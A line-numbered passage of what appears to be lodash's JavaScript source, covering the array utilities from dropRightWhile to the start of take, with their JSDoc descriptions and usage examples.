7182 n = (guard || n === undefined) ? 1 : toInteger(n);
7183 n = length - n;
7184 return baseSlice(array, 0, n < 0 ? 0 : n);
7185 }
7186
7187 /**
7188 * Creates a slice of `array` excluding elements dropped from the end.
7189 * Elements are dropped until `predicate` returns falsey. The predicate is
7190 * invoked with three arguments: (value, index, array).
7191 *
7192 * @static
7193 * @memberOf _
7194 * @since 3.0.0
7195 * @category Array
7196 * @param {Array} array The array to query.
7197 * @param {Function} [predicate=_.identity] The function invoked per iteration.
7198 * @returns {Array} Returns the slice of `array`.
7199 * @example
7200 *
7201 * var users = [
7202 * { 'user': 'barney', 'active': true },
7203 * { 'user': 'fred', 'active': false },
7204 * { 'user': 'pebbles', 'active': false }
7205 * ];
7206 *
7207 * _.dropRightWhile(users, function(o) { return !o.active; });
7208 * // => objects for ['barney']
7209 *
7210 * // The `_.matches` iteratee shorthand.
7211 * _.dropRightWhile(users, { 'user': 'pebbles', 'active': false });
7212 * // => objects for ['barney', 'fred']
7213 *
7214 * // The `_.matchesProperty` iteratee shorthand.
7215 * _.dropRightWhile(users, ['active', false]);
7216 * // => objects for ['barney']
7217 *
7218 * // The `_.property` iteratee shorthand.
7219 * _.dropRightWhile(users, 'active');
7220 * // => objects for ['barney', 'fred', 'pebbles']
7221 */
7222 function dropRightWhile(array, predicate) {
7223 return (array && array.length)
7224 ? baseWhile(array, getIteratee(predicate, 3), true, true)
7225 : [];
7226 }
7227
7228 /**
7229 * Creates a slice of `array` excluding elements dropped from the beginning.
7230 * Elements are dropped until `predicate` returns falsey. The predicate is
7231 * invoked with three arguments: (value, index, array).
7232 *
7233 * @static
7234 * @memberOf _
7235 * @since 3.0.0
7236 * @category Array
7237 * @param {Array} array The array to query.
7238 * @param {Function} [predicate=_.identity] The function invoked per iteration.
7239 * @returns {Array} Returns the slice of `array`.
7240 * @example
7241 *
7242 * var users = [
7243 * { 'user': 'barney', 'active': false },
7244 * { 'user': 'fred', 'active': false },
7245 * { 'user': 'pebbles', 'active': true }
7246 * ];
7247 *
7248 * _.dropWhile(users, function(o) { return !o.active; });
7249 * // => objects for ['pebbles']
7250 *
7251 * // The `_.matches` iteratee shorthand.
7252 * _.dropWhile(users, { 'user': 'barney', 'active': false });
7253 * // => objects for ['fred', 'pebbles']
7254 *
7255 * // The `_.matchesProperty` iteratee shorthand.
7256 * _.dropWhile(users, ['active', false]);
7257 * // => objects for ['pebbles']
7258 *
7259 * // The `_.property` iteratee shorthand.
7260 * _.dropWhile(users, 'active');
7261 * // => objects for ['barney', 'fred', 'pebbles']
7262 */
7263 function dropWhile(array, predicate) {
7264 return (array && array.length)
7265 ? baseWhile(array, getIteratee(predicate, 3), true)
7266 : [];
7267 }
7268
7269 /**
7270 * Fills elements of `array` with `value` from `start` up to, but not
7271 * including, `end`.
7272 *
7273 * **Note:** This method mutates `array`.
7274 *
7275 * @static
7276 * @memberOf _
7277 * @since 3.2.0
7278 * @category Array
7279 * @param {Array} array The array to fill.
7280 * @param {*} value The value to fill `array` with.
7281 * @param {number} [start=0] The start position.
7282 * @param {number} [end=array.length] The end position.
7283 * @returns {Array} Returns `array`.
7284 * @example
7285 *
7286 * var array = [1, 2, 3];
7287 *
7288 * _.fill(array, 'a');
7289 * console.log(array);
7290 * // => ['a', 'a', 'a']
7291 *
7292 * _.fill(Array(3), 2);
7293 * // => [2, 2, 2]
7294 *
7295 * _.fill([4, 6, 8, 10], '*', 1, 3);
7296 * // => [4, '*', '*', 10]
7297 */
7298 function fill(array, value, start, end) {
7299 var length = array == null ? 0 : array.length;
7300 if (!length) {
7301 return [];
7302 }
7303 if (start && typeof start != 'number' && isIterateeCall(array, value, start)) {
7304 start = 0;
7305 end = length;
7306 }
7307 return baseFill(array, value, start, end);
7308 }
7309
7310 /**
7311 * This method is like `_.find` except that it returns the index of the first
7312 * element `predicate` returns truthy for instead of the element itself.
7313 *
7314 * @static
7315 * @memberOf _
7316 * @since 1.1.0
7317 * @category Array
7318 * @param {Array} array The array to inspect.
7319 * @param {Function} [predicate=_.identity] The function invoked per iteration.
7320 * @param {number} [fromIndex=0] The index to search from.
7321 * @returns {number} Returns the index of the found element, else `-1`.
7322 * @example
7323 *
7324 * var users = [
7325 * { 'user': 'barney', 'active': false },
7326 * { 'user': 'fred', 'active': false },
7327 * { 'user': 'pebbles', 'active': true }
7328 * ];
7329 *
7330 * _.findIndex(users, function(o) { return o.user == 'barney'; });
7331 * // => 0
7332 *
7333 * // The `_.matches` iteratee shorthand.
7334 * _.findIndex(users, { 'user': 'fred', 'active': false });
7335 * // => 1
7336 *
7337 * // The `_.matchesProperty` iteratee shorthand.
7338 * _.findIndex(users, ['active', false]);
7339 * // => 0
7340 *
7341 * // The `_.property` iteratee shorthand.
7342 * _.findIndex(users, 'active');
7343 * // => 2
7344 */
7345 function findIndex(array, predicate, fromIndex) {
7346 var length = array == null ? 0 : array.length;
7347 if (!length) {
7348 return -1;
7349 }
7350 var index = fromIndex == null ? 0 : toInteger(fromIndex);
7351 if (index < 0) {
7352 index = nativeMax(length + index, 0);
7353 }
7354 return baseFindIndex(array, getIteratee(predicate, 3), index);
7355 }
7356
7357 /**
7358 * This method is like `_.findIndex` except that it iterates over elements
7359 * of `collection` from right to left.
7360 *
7361 * @static
7362 * @memberOf _
7363 * @since 2.0.0
7364 * @category Array
7365 * @param {Array} array The array to inspect.
7366 * @param {Function} [predicate=_.identity] The function invoked per iteration.
7367 * @param {number} [fromIndex=array.length-1] The index to search from.
7368 * @returns {number} Returns the index of the found element, else `-1`.
7369 * @example
7370 *
7371 * var users = [
7372 * { 'user': 'barney', 'active': true },
7373 * { 'user': 'fred', 'active': false },
7374 * { 'user': 'pebbles', 'active': false }
7375 * ];
7376 *
7377 * _.findLastIndex(users, function(o) { return o.user == 'pebbles'; });
7378 * // => 2
7379 *
7380 * // The `_.matches` iteratee shorthand.
7381 * _.findLastIndex(users, { 'user': 'barney', 'active': true });
7382 * // => 0
7383 *
7384 * // The `_.matchesProperty` iteratee shorthand.
7385 * _.findLastIndex(users, ['active', false]);
7386 * // => 2
7387 *
7388 * // The `_.property` iteratee shorthand.
7389 * _.findLastIndex(users, 'active');
7390 * // => 0
7391 */
7392 function findLastIndex(array, predicate, fromIndex) {
7393 var length = array == null ? 0 : array.length;
7394 if (!length) {
7395 return -1;
7396 }
7397 var index = length - 1;
7398 if (fromIndex !== undefined) {
7399 index = toInteger(fromIndex);
7400 index = fromIndex < 0
7401 ? nativeMax(length + index, 0)
7402 : nativeMin(index, length - 1);
7403 }
7404 return baseFindIndex(array, getIteratee(predicate, 3), index, true);
7405 }
7406
7407 /**
7408 * Flattens `array` a single level deep.
7409 *
7410 * @static
7411 * @memberOf _
7412 * @since 0.1.0
7413 * @category Array
7414 * @param {Array} array The array to flatten.
7415 * @returns {Array} Returns the new flattened array.
7416 * @example
7417 *
7418 * _.flatten([1, [2, [3, [4]], 5]]);
7419 * // => [1, 2, [3, [4]], 5]
7420 */
7421 function flatten(array) {
7422 var length = array == null ? 0 : array.length;
7423 return length ? baseFlatten(array, 1) : [];
7424 }
7425
7426 /**
7427 * Recursively flattens `array`.
7428 *
7429 * @static
7430 * @memberOf _
7431 * @since 3.0.0
7432 * @category Array
7433 * @param {Array} array The array to flatten.
7434 * @returns {Array} Returns the new flattened array.
7435 * @example
7436 *
7437 * _.flattenDeep([1, [2, [3, [4]], 5]]);
7438 * // => [1, 2, 3, 4, 5]
7439 */
7440 function flattenDeep(array) {
7441 var length = array == null ? 0 : array.length;
7442 return length ? baseFlatten(array, INFINITY) : [];
7443 }
7444
7445 /**
7446 * Recursively flatten `array` up to `depth` times.
7447 *
7448 * @static
7449 * @memberOf _
7450 * @since 4.4.0
7451 * @category Array
7452 * @param {Array} array The array to flatten.
7453 * @param {number} [depth=1] The maximum recursion depth.
7454 * @returns {Array} Returns the new flattened array.
7455 * @example
7456 *
7457 * var array = [1, [2, [3, [4]], 5]];
7458 *
7459 * _.flattenDepth(array, 1);
7460 * // => [1, 2, [3, [4]], 5]
7461 *
7462 * _.flattenDepth(array, 2);
7463 * // => [1, 2, 3, [4], 5]
7464 */
7465 function flattenDepth(array, depth) {
7466 var length = array == null ? 0 : array.length;
7467 if (!length) {
7468 return [];
7469 }
7470 depth = depth === undefined ? 1 : toInteger(depth);
7471 return baseFlatten(array, depth);
7472 }
7473
7474 /**
7475 * The inverse of `_.toPairs`; this method returns an object composed
7476 * from key-value `pairs`.
7477 *
7478 * @static
7479 * @memberOf _
7480 * @since 4.0.0
7481 * @category Array
7482 * @param {Array} pairs The key-value pairs.
7483 * @returns {Object} Returns the new object.
7484 * @example
7485 *
7486 * _.fromPairs([['a', 1], ['b', 2]]);
7487 * // => { 'a': 1, 'b': 2 }
7488 */
7489 function fromPairs(pairs) {
7490 var index = -1,
7491 length = pairs == null ? 0 : pairs.length,
7492 result = {};
7493
7494 while (++index < length) {
7495 var pair = pairs[index];
7496 baseAssignValue(result, pair[0], pair[1]);
7497 }
7498 return result;
7499 }
7500
7501 /**
7502 * Gets the first element of `array`.
7503 *
7504 * @static
7505 * @memberOf _
7506 * @since 0.1.0
7507 * @alias first
7508 * @category Array
7509 * @param {Array} array The array to query.
7510 * @returns {*} Returns the first element of `array`.
7511 * @example
7512 *
7513 * _.head([1, 2, 3]);
7514 * // => 1
7515 *
7516 * _.head([]);
7517 * // => undefined
7518 */
7519 function head(array) {
7520 return (array && array.length) ? array[0] : undefined;
7521 }
7522
7523 /**
7524 * Gets the index at which the first occurrence of `value` is found in `array`
7525 * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
7526 * for equality comparisons. If `fromIndex` is negative, it's used as the
7527 * offset from the end of `array`.
7528 *
7529 * @static
7530 * @memberOf _
7531 * @since 0.1.0
7532 * @category Array
7533 * @param {Array} array The array to inspect.
7534 * @param {*} value The value to search for.
7535 * @param {number} [fromIndex=0] The index to search from.
7536 * @returns {number} Returns the index of the matched value, else `-1`.
7537 * @example
7538 *
7539 * _.indexOf([1, 2, 1, 2], 2);
7540 * // => 1
7541 *
7542 * // Search from the `fromIndex`.
7543 * _.indexOf([1, 2, 1, 2], 2, 2);
7544 * // => 3
7545 */
7546 function indexOf(array, value, fromIndex) {
7547 var length = array == null ? 0 : array.length;
7548 if (!length) {
7549 return -1;
7550 }
7551 var index = fromIndex == null ? 0 : toInteger(fromIndex);
7552 if (index < 0) {
7553 index = nativeMax(length + index, 0);
7554 }
7555 return baseIndexOf(array, value, index);
7556 }
7557
7558 /**
7559 * Gets all but the last element of `array`.
7560 *
7561 * @static
7562 * @memberOf _
7563 * @since 0.1.0
7564 * @category Array
7565 * @param {Array} array The array to query.
7566 * @returns {Array} Returns the slice of `array`.
7567 * @example
7568 *
7569 * _.initial([1, 2, 3]);
7570 * // => [1, 2]
7571 */
7572 function initial(array) {
7573 var length = array == null ? 0 : array.length;
7574 return length ? baseSlice(array, 0, -1) : [];
7575 }
7576
7577 /**
7578 * Creates an array of unique values that are included in all given arrays
7579 * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
7580 * for equality comparisons. The order and references of result values are
7581 * determined by the first array.
7582 *
7583 * @static
7584 * @memberOf _
7585 * @since 0.1.0
7586 * @category Array
7587 * @param {...Array} [arrays] The arrays to inspect.
7588 * @returns {Array} Returns the new array of intersecting values.
7589 * @example
7590 *
7591 * _.intersection([2, 1], [2, 3]);
7592 * // => [2]
7593 */
7594 var intersection = baseRest(function(arrays) {
7595 var mapped = arrayMap(arrays, castArrayLikeObject);
7596 return (mapped.length && mapped[0] === arrays[0])
7597 ? baseIntersection(mapped)
7598 : [];
7599 });
7600
7601 /**
7602 * This method is like `_.intersection` except that it accepts `iteratee`
7603 * which is invoked for each element of each `arrays` to generate the criterion
7604 * by which they're compared. The order and references of result values are
7605 * determined by the first array. The iteratee is invoked with one argument:
7606 * (value).
7607 *
7608 * @static
7609 * @memberOf _
7610 * @since 4.0.0
7611 * @category Array
7612 * @param {...Array} [arrays] The arrays to inspect.
7613 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
7614 * @returns {Array} Returns the new array of intersecting values.
7615 * @example
7616 *
7617 * _.intersectionBy([2.1, 1.2], [2.3, 3.4], Math.floor);
7618 * // => [2.1]
7619 *
7620 * // The `_.property` iteratee shorthand.
7621 * _.intersectionBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
7622 * // => [{ 'x': 1 }]
7623 */
7624 var intersectionBy = baseRest(function(arrays) {
7625 var iteratee = last(arrays),
7626 mapped = arrayMap(arrays, castArrayLikeObject);
7627
7628 if (iteratee === last(mapped)) {
7629 iteratee = undefined;
7630 } else {
7631 mapped.pop();
7632 }
7633 return (mapped.length && mapped[0] === arrays[0])
7634 ? baseIntersection(mapped, getIteratee(iteratee, 2))
7635 : [];
7636 });
7637
7638 /**
7639 * This method is like `_.intersection` except that it accepts `comparator`
7640 * which is invoked to compare elements of `arrays`. The order and references
7641 * of result values are determined by the first array. The comparator is
7642 * invoked with two arguments: (arrVal, othVal).
7643 *
7644 * @static
7645 * @memberOf _
7646 * @since 4.0.0
7647 * @category Array
7648 * @param {...Array} [arrays] The arrays to inspect.
7649 * @param {Function} [comparator] The comparator invoked per element.
7650 * @returns {Array} Returns the new array of intersecting values.
7651 * @example
7652 *
7653 * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
7654 * var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
7655 *
7656 * _.intersectionWith(objects, others, _.isEqual);
7657 * // => [{ 'x': 1, 'y': 2 }]
7658 */
7659 var intersectionWith = baseRest(function(arrays) {
7660 var comparator = last(arrays),
7661 mapped = arrayMap(arrays, castArrayLikeObject);
7662
7663 comparator = typeof comparator == 'function' ? comparator : undefined;
7664 if (comparator) {
7665 mapped.pop();
7666 }
7667 return (mapped.length && mapped[0] === arrays[0])
7668 ? baseIntersection(mapped, undefined, comparator)
7669 : [];
7670 });
7671
7672 /**
7673 * Converts all elements in `array` into a string separated by `separator`.
7674 *
7675 * @static
7676 * @memberOf _
7677 * @since 4.0.0
7678 * @category Array
7679 * @param {Array} array The array to convert.
7680 * @param {string} [separator=','] The element separator.
7681 * @returns {string} Returns the joined string.
7682 * @example
7683 *
7684 * _.join(['a', 'b', 'c'], '~');
7685 * // => 'a~b~c'
7686 */
7687 function join(array, separator) {
7688 return array == null ? '' : nativeJoin.call(array, separator);
7689 }
7690
7691 /**
7692 * Gets the last element of `array`.
7693 *
7694 * @static
7695 * @memberOf _
7696 * @since 0.1.0
7697 * @category Array
7698 * @param {Array} array The array to query.
7699 * @returns {*} Returns the last element of `array`.
7700 * @example
7701 *
7702 * _.last([1, 2, 3]);
7703 * // => 3
7704 */
7705 function last(array) {
7706 var length = array == null ? 0 : array.length;
7707 return length ? array[length - 1] : undefined;
7708 }
7709
7710 /**
7711 * This method is like `_.indexOf` except that it iterates over elements of
7712 * `array` from right to left.
7713 *
7714 * @static
7715 * @memberOf _
7716 * @since 0.1.0
7717 * @category Array
7718 * @param {Array} array The array to inspect.
7719 * @param {*} value The value to search for.
7720 * @param {number} [fromIndex=array.length-1] The index to search from.
7721 * @returns {number} Returns the index of the matched value, else `-1`.
7722 * @example
7723 *
7724 * _.lastIndexOf([1, 2, 1, 2], 2);
7725 * // => 3
7726 *
7727 * // Search from the `fromIndex`.
7728 * _.lastIndexOf([1, 2, 1, 2], 2, 2);
7729 * // => 1
7730 */
7731 function lastIndexOf(array, value, fromIndex) {
7732 var length = array == null ? 0 : array.length;
7733 if (!length) {
7734 return -1;
7735 }
7736 var index = length;
7737 if (fromIndex !== undefined) {
7738 index = toInteger(fromIndex);
7739 index = index < 0 ? nativeMax(length + index, 0) : nativeMin(index, length - 1);
7740 }
7741 return value === value
7742 ? strictLastIndexOf(array, value, index)
7743 : baseFindIndex(array, baseIsNaN, index, true);
7744 }
7745
7746 /**
7747 * Gets the element at index `n` of `array`. If `n` is negative, the nth
7748 * element from the end is returned.
7749 *
7750 * @static
7751 * @memberOf _
7752 * @since 4.11.0
7753 * @category Array
7754 * @param {Array} array The array to query.
7755 * @param {number} [n=0] The index of the element to return.
7756 * @returns {*} Returns the nth element of `array`.
7757 * @example
7758 *
7759 * var array = ['a', 'b', 'c', 'd'];
7760 *
7761 * _.nth(array, 1);
7762 * // => 'b'
7763 *
7764 * _.nth(array, -2);
7765 * // => 'c';
7766 */
7767 function nth(array, n) {
7768 return (array && array.length) ? baseNth(array, toInteger(n)) : undefined;
7769 }
7770
7771 /**
7772 * Removes all given values from `array` using
7773 * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
7774 * for equality comparisons.
7775 *
7776 * **Note:** Unlike `_.without`, this method mutates `array`. Use `_.remove`
7777 * to remove elements from an array by predicate.
7778 *
7779 * @static
7780 * @memberOf _
7781 * @since 2.0.0
7782 * @category Array
7783 * @param {Array} array The array to modify.
7784 * @param {...*} [values] The values to remove.
7785 * @returns {Array} Returns `array`.
7786 * @example
7787 *
7788 * var array = ['a', 'b', 'c', 'a', 'b', 'c'];
7789 *
7790 * _.pull(array, 'a', 'c');
7791 * console.log(array);
7792 * // => ['b', 'b']
7793 */
7794 var pull = baseRest(pullAll);
7795
7796 /**
7797 * This method is like `_.pull` except that it accepts an array of values to remove.
7798 *
7799 * **Note:** Unlike `_.difference`, this method mutates `array`.
7800 *
7801 * @static
7802 * @memberOf _
7803 * @since 4.0.0
7804 * @category Array
7805 * @param {Array} array The array to modify.
7806 * @param {Array} values The values to remove.
7807 * @returns {Array} Returns `array`.
7808 * @example
7809 *
7810 * var array = ['a', 'b', 'c', 'a', 'b', 'c'];
7811 *
7812 * _.pullAll(array, ['a', 'c']);
7813 * console.log(array);
7814 * // => ['b', 'b']
7815 */
7816 function pullAll(array, values) {
7817 return (array && array.length && values && values.length)
7818 ? basePullAll(array, values)
7819 : array;
7820 }
7821
7822 /**
7823 * This method is like `_.pullAll` except that it accepts `iteratee` which is
7824 * invoked for each element of `array` and `values` to generate the criterion
7825 * by which they're compared. The iteratee is invoked with one argument: (value).
7826 *
7827 * **Note:** Unlike `_.differenceBy`, this method mutates `array`.
7828 *
7829 * @static
7830 * @memberOf _
7831 * @since 4.0.0
7832 * @category Array
7833 * @param {Array} array The array to modify.
7834 * @param {Array} values The values to remove.
7835 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
7836 * @returns {Array} Returns `array`.
7837 * @example
7838 *
7839 * var array = [{ 'x': 1 }, { 'x': 2 }, { 'x': 3 }, { 'x': 1 }];
7840 *
7841 * _.pullAllBy(array, [{ 'x': 1 }, { 'x': 3 }], 'x');
7842 * console.log(array);
7843 * // => [{ 'x': 2 }]
7844 */
7845 function pullAllBy(array, values, iteratee) {
7846 return (array && array.length && values && values.length)
7847 ? basePullAll(array, values, getIteratee(iteratee, 2))
7848 : array;
7849 }
7850
7851 /**
7852 * This method is like `_.pullAll` except that it accepts `comparator` which
7853 * is invoked to compare elements of `array` to `values`. The comparator is
7854 * invoked with two arguments: (arrVal, othVal).
7855 *
7856 * **Note:** Unlike `_.differenceWith`, this method mutates `array`.
7857 *
7858 * @static
7859 * @memberOf _
7860 * @since 4.6.0
7861 * @category Array
7862 * @param {Array} array The array to modify.
7863 * @param {Array} values The values to remove.
7864 * @param {Function} [comparator] The comparator invoked per element.
7865 * @returns {Array} Returns `array`.
7866 * @example
7867 *
7868 * var array = [{ 'x': 1, 'y': 2 }, { 'x': 3, 'y': 4 }, { 'x': 5, 'y': 6 }];
7869 *
7870 * _.pullAllWith(array, [{ 'x': 3, 'y': 4 }], _.isEqual);
7871 * console.log(array);
7872 * // => [{ 'x': 1, 'y': 2 }, { 'x': 5, 'y': 6 }]
7873 */
7874 function pullAllWith(array, values, comparator) {
7875 return (array && array.length && values && values.length)
7876 ? basePullAll(array, values, undefined, comparator)
7877 : array;
7878 }
7879
7880 /**
7881 * Removes elements from `array` corresponding to `indexes` and returns an
7882 * array of removed elements.
7883 *
7884 * **Note:** Unlike `_.at`, this method mutates `array`.
7885 *
7886 * @static
7887 * @memberOf _
7888 * @since 3.0.0
7889 * @category Array
7890 * @param {Array} array The array to modify.
7891 * @param {...(number|number[])} [indexes] The indexes of elements to remove.
7892 * @returns {Array} Returns the new array of removed elements.
7893 * @example
7894 *
7895 * var array = ['a', 'b', 'c', 'd'];
7896 * var pulled = _.pullAt(array, [1, 3]);
7897 *
7898 * console.log(array);
7899 * // => ['a', 'c']
7900 *
7901 * console.log(pulled);
7902 * // => ['b', 'd']
7903 */
7904 var pullAt = flatRest(function(array, indexes) {
7905 var length = array == null ? 0 : array.length,
7906 result = baseAt(array, indexes);
7907
7908 basePullAt(array, arrayMap(indexes, function(index) {
7909 return isIndex(index, length) ? +index : index;
7910 }).sort(compareAscending));
7911
7912 return result;
7913 });
7914
7915 /**
7916 * Removes all elements from `array` that `predicate` returns truthy for
7917 * and returns an array of the removed elements. The predicate is invoked
7918 * with three arguments: (value, index, array).
7919 *
7920 * **Note:** Unlike `_.filter`, this method mutates `array`. Use `_.pull`
7921 * to pull elements from an array by value.
7922 *
7923 * @static
7924 * @memberOf _
7925 * @since 2.0.0
7926 * @category Array
7927 * @param {Array} array The array to modify.
7928 * @param {Function} [predicate=_.identity] The function invoked per iteration.
7929 * @returns {Array} Returns the new array of removed elements.
7930 * @example
7931 *
7932 * var array = [1, 2, 3, 4];
7933 * var evens = _.remove(array, function(n) {
7934 * return n % 2 == 0;
7935 * });
7936 *
7937 * console.log(array);
7938 * // => [1, 3]
7939 *
7940 * console.log(evens);
7941 * // => [2, 4]
7942 */
7943 function remove(array, predicate) {
7944 var result = [];
7945 if (!(array && array.length)) {
7946 return result;
7947 }
7948 var index = -1,
7949 indexes = [],
7950 length = array.length;
7951
7952 predicate = getIteratee(predicate, 3);
7953 while (++index < length) {
7954 var value = array[index];
7955 if (predicate(value, index, array)) {
7956 result.push(value);
7957 indexes.push(index);
7958 }
7959 }
7960 basePullAt(array, indexes);
7961 return result;
7962 }
7963
7964 /**
7965 * Reverses `array` so that the first element becomes the last, the second
7966 * element becomes the second to last, and so on.
7967 *
7968 * **Note:** This method mutates `array` and is based on
7969 * [`Array#reverse`](https://mdn.io/Array/reverse).
7970 *
7971 * @static
7972 * @memberOf _
7973 * @since 4.0.0
7974 * @category Array
7975 * @param {Array} array The array to modify.
7976 * @returns {Array} Returns `array`.
7977 * @example
7978 *
7979 * var array = [1, 2, 3];
7980 *
7981 * _.reverse(array);
7982 * // => [3, 2, 1]
7983 *
7984 * console.log(array);
7985 * // => [3, 2, 1]
7986 */
7987 function reverse(array) {
7988 return array == null ? array : nativeReverse.call(array);
7989 }
7990
7991 /**
7992 * Creates a slice of `array` from `start` up to, but not including, `end`.
7993 *
7994 * **Note:** This method is used instead of
7995 * [`Array#slice`](https://mdn.io/Array/slice) to ensure dense arrays are
7996 * returned.
7997 *
7998 * @static
7999 * @memberOf _
8000 * @since 3.0.0
8001 * @category Array
8002 * @param {Array} array The array to slice.
8003 * @param {number} [start=0] The start position.
8004 * @param {number} [end=array.length] The end position.
8005 * @returns {Array} Returns the slice of `array`.
8006 */
8007 function slice(array, start, end) {
8008 var length = array == null ? 0 : array.length;
8009 if (!length) {
8010 return [];
8011 }
8012 if (end && typeof end != 'number' && isIterateeCall(array, start, end)) {
8013 start = 0;
8014 end = length;
8015 }
8016 else {
8017 start = start == null ? 0 : toInteger(start);
8018 end = end === undefined ? length : toInteger(end);
8019 }
8020 return baseSlice(array, start, end);
8021 }
8022
8023 /**
8024 * Uses a binary search to determine the lowest index at which `value`
8025 * should be inserted into `array` in order to maintain its sort order.
8026 *
8027 * @static
8028 * @memberOf _
8029 * @since 0.1.0
8030 * @category Array
8031 * @param {Array} array The sorted array to inspect.
8032 * @param {*} value The value to evaluate.
8033 * @returns {number} Returns the index at which `value` should be inserted
8034 * into `array`.
8035 * @example
8036 *
8037 * _.sortedIndex([30, 50], 40);
8038 * // => 1
8039 */
8040 function sortedIndex(array, value) {
8041 return baseSortedIndex(array, value);
8042 }
8043
8044 /**
8045 * This method is like `_.sortedIndex` except that it accepts `iteratee`
8046 * which is invoked for `value` and each element of `array` to compute their
8047 * sort ranking. The iteratee is invoked with one argument: (value).
8048 *
8049 * @static
8050 * @memberOf _
8051 * @since 4.0.0
8052 * @category Array
8053 * @param {Array} array The sorted array to inspect.
8054 * @param {*} value The value to evaluate.
8055 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
8056 * @returns {number} Returns the index at which `value` should be inserted
8057 * into `array`.
8058 * @example
8059 *
8060 * var objects = [{ 'x': 4 }, { 'x': 5 }];
8061 *
8062 * _.sortedIndexBy(objects, { 'x': 4 }, function(o) { return o.x; });
8063 * // => 0
8064 *
8065 * // The `_.property` iteratee shorthand.
8066 * _.sortedIndexBy(objects, { 'x': 4 }, 'x');
8067 * // => 0
8068 */
8069 function sortedIndexBy(array, value, iteratee) {
8070 return baseSortedIndexBy(array, value, getIteratee(iteratee, 2));
8071 }
8072
8073 /**
8074 * This method is like `_.indexOf` except that it performs a binary
8075 * search on a sorted `array`.
8076 *
8077 * @static
8078 * @memberOf _
8079 * @since 4.0.0
8080 * @category Array
8081 * @param {Array} array The array to inspect.
8082 * @param {*} value The value to search for.
8083 * @returns {number} Returns the index of the matched value, else `-1`.
8084 * @example
8085 *
8086 * _.sortedIndexOf([4, 5, 5, 5, 6], 5);
8087 * // => 1
8088 */
8089 function sortedIndexOf(array, value) {
8090 var length = array == null ? 0 : array.length;
8091 if (length) {
8092 var index = baseSortedIndex(array, value);
8093 if (index < length && eq(array[index], value)) {
8094 return index;
8095 }
8096 }
8097 return -1;
8098 }
8099
8100 /**
8101 * This method is like `_.sortedIndex` except that it returns the highest
8102 * index at which `value` should be inserted into `array` in order to
8103 * maintain its sort order.
8104 *
8105 * @static
8106 * @memberOf _
8107 * @since 3.0.0
8108 * @category Array
8109 * @param {Array} array The sorted array to inspect.
8110 * @param {*} value The value to evaluate.
8111 * @returns {number} Returns the index at which `value` should be inserted
8112 * into `array`.
8113 * @example
8114 *
8115 * _.sortedLastIndex([4, 5, 5, 5, 6], 5);
8116 * // => 4
8117 */
8118 function sortedLastIndex(array, value) {
8119 return baseSortedIndex(array, value, true);
8120 }
8121
8122 /**
8123 * This method is like `_.sortedLastIndex` except that it accepts `iteratee`
8124 * which is invoked for `value` and each element of `array` to compute their
8125 * sort ranking. The iteratee is invoked with one argument: (value).
8126 *
8127 * @static
8128 * @memberOf _
8129 * @since 4.0.0
8130 * @category Array
8131 * @param {Array} array The sorted array to inspect.
8132 * @param {*} value The value to evaluate.
8133 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
8134 * @returns {number} Returns the index at which `value` should be inserted
8135 * into `array`.
8136 * @example
8137 *
8138 * var objects = [{ 'x': 4 }, { 'x': 5 }];
8139 *
8140 * _.sortedLastIndexBy(objects, { 'x': 4 }, function(o) { return o.x; });
8141 * // => 1
8142 *
8143 * // The `_.property` iteratee shorthand.
8144 * _.sortedLastIndexBy(objects, { 'x': 4 }, 'x');
8145 * // => 1
8146 */
8147 function sortedLastIndexBy(array, value, iteratee) {
8148 return baseSortedIndexBy(array, value, getIteratee(iteratee, 2), true);
8149 }
8150
8151 /**
8152 * This method is like `_.lastIndexOf` except that it performs a binary
8153 * search on a sorted `array`.
8154 *
8155 * @static
8156 * @memberOf _
8157 * @since 4.0.0
8158 * @category Array
8159 * @param {Array} array The array to inspect.
8160 * @param {*} value The value to search for.
8161 * @returns {number} Returns the index of the matched value, else `-1`.
8162 * @example
8163 *
8164 * _.sortedLastIndexOf([4, 5, 5, 5, 6], 5);
8165 * // => 3
8166 */
8167 function sortedLastIndexOf(array, value) {
8168 var length = array == null ? 0 : array.length;
8169 if (length) {
8170 var index = baseSortedIndex(array, value, true) - 1;
8171 if (eq(array[index], value)) {
8172 return index;
8173 }
8174 }
8175 return -1;
8176 }
8177
8178 /**
8179 * This method is like `_.uniq` except that it's designed and optimized
8180 * for sorted arrays.
8181 *
8182 * @static
8183 * @memberOf _
8184 * @since 4.0.0
8185 * @category Array
8186 * @param {Array} array The array to inspect.
8187 * @returns {Array} Returns the new duplicate free array.
8188 * @example
8189 *
8190 * _.sortedUniq([1, 1, 2]);
8191 * // => [1, 2]
8192 */
8193 function sortedUniq(array) {
8194 return (array && array.length)
8195 ? baseSortedUniq(array)
8196 : [];
8197 }
8198
8199 /**
8200 * This method is like `_.uniqBy` except that it's designed and optimized
8201 * for sorted arrays.
8202 *
8203 * @static
8204 * @memberOf _
8205 * @since 4.0.0
8206 * @category Array
8207 * @param {Array} array The array to inspect.
8208 * @param {Function} [iteratee] The iteratee invoked per element.
8209 * @returns {Array} Returns the new duplicate free array.
8210 * @example
8211 *
8212 * _.sortedUniqBy([1.1, 1.2, 2.3, 2.4], Math.floor);
8213 * // => [1.1, 2.3]
8214 */
8215 function sortedUniqBy(array, iteratee) {
8216 return (array && array.length)
8217 ? baseSortedUniq(array, getIteratee(iteratee, 2))
8218 : [];
8219 }
8220
8221 /**
8222 * Gets all but the first element of `array`.
8223 *
8224 * @static
8225 * @memberOf _
8226 * @since 4.0.0
8227 * @category Array
8228 * @param {Array} array The array to query.
8229 * @returns {Array} Returns the slice of `array`.
8230 * @example
8231 *
8232 * _.tail([1, 2, 3]);
8233 * // => [2, 3]
8234 */
8235 function tail(array) {
8236 var length = array == null ? 0 : array.length;
8237 return length ? baseSlice(array, 1, length) : [];
8238 }
8239
8240 /**
8241 * Creates a slice of `array` with `n` elements taken from the beginning.
8242 *
8243 * @static
8244 * @memberOf _
8245 * @since 0.1.0
8246 * @category Array
8247 * @param {Array} array The array to query.
